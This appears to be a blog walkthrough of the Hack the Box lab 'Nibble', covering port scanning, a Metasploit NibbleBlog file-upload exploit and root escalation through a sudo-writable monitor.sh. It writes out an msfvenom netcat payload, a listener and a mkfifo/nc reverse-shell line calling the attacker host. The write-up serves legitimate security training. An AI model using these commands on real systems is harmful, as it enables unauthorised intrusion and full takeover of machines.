Hello
friends!! Today we are going to solve another CTF challenge “Nibble”
which is categories as retired lab presented by Hack the Box for
making online penetration practices.
Level: Easy
Task: find user.txt and root.txt file
on victim’s machine.
Since
these labs are online accessible therefore they have static IP. The IP of Nibble
is 10.10.10.75 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.75
As
you can see in the given screenshot that we have two services running on our
Target Machine, ssh and HTTP on ports 22 and 80 respectively.
The Port 80 is open so let’s open IP in out Browser to see
that if a website is hosted on the IP. After opening the IP in the browser, we
were greeted by following page.
Then we use curl to send http request on http://10.10.10.75 and notice /nibbleblog/ which
could be any web directory.
So we execute the http://10.10.10.75/nibbleblog/ directory
put us on the main page of a blogging platform NibbleBlog Yum yum. Without
wasting time search for the exploit in the Google and Rapid 7 link for its
exploitation.
So we load metasploit framework and executed following
command to take meterpreter session of victim’s VM.
According to this module Nibbleblog contains a flaw that
allows an authenticated remote attacker to execute arbitrary PHP code. This
module was tested on version 4.0.3.
use exploit/multi/http/nibbleblog_file_upload
msf exploit(multi/http/nibbleblog_file_upload) > set
rhost 10.10.10.75
msf exploit(multi/http/nibbleblog_file_upload) > set
username admin
msf exploit(multi/http/nibbleblog_file_upload) > set
password nibble
msf exploit(multi/http/nibbleblog_file_upload) > set
targeturi /nibbleblog
msf exploit(multi/http/nibbleblog_file_upload) >
exploit
From given below image you can observe meterpreter
session1 opened for accessing victim tty shell.
Now let’s finish the task by grabbing user.txt and
root.txt file. First I move into /home directory and check available files and
directories inside it. I found the 1st flag “user.txt” from inside
/home/nibbler.
cd /home
cd /nibbler
cat user.txt
For spawning proper tty shell of target’s system we need to
import python file, therefore, I run following command inside meterpreter shell.
shell
python -c 'import
pty;pty.spawn("/bin/bash")'
ls
Inside /nibbler there was a zip file so we try to unzip
it with help of following command and after extracting zip file we got a
directory “personal”, so we get inside it, then with a little more efforts
found a script monitor.sh.
unzip personal.zip
cd personal
ls
cd stuff
ls -al
Then I check sudo rights for user “nibbler” and notice
nibbler has sudo permission for script monitor.sh which means he can modify
this script
So in a new terminal we generated a payload for netcat shell
with help of msfvenom command as shown and copied the highlighted code and
start necat listener too.
msfvenom -p
cmd/unix/reverse_netcat lhost=10.10.14.25 lport=5555 R
nc -lvp 5555
Then to it exploit it we move inside following Path: /home/nibbler/personal/stuff/
and paste above copied code inside monitor.sh as shown below
cd
/home/nibbler/personal/stuff/
echo “mkfifo
/tmp/jswwrii; nc 10.10.14.25 5555 0
Since we knew monitor.sh has full permission, so we can run
it to obtain reverse shell along root access.
On other we have netcat listener, which has provided root
access to us. Let’s finish this task and grab the root.txt file………………………………..
id
cd /root
ls
root.txt
cat root.txt
0 comments:
Post a Comment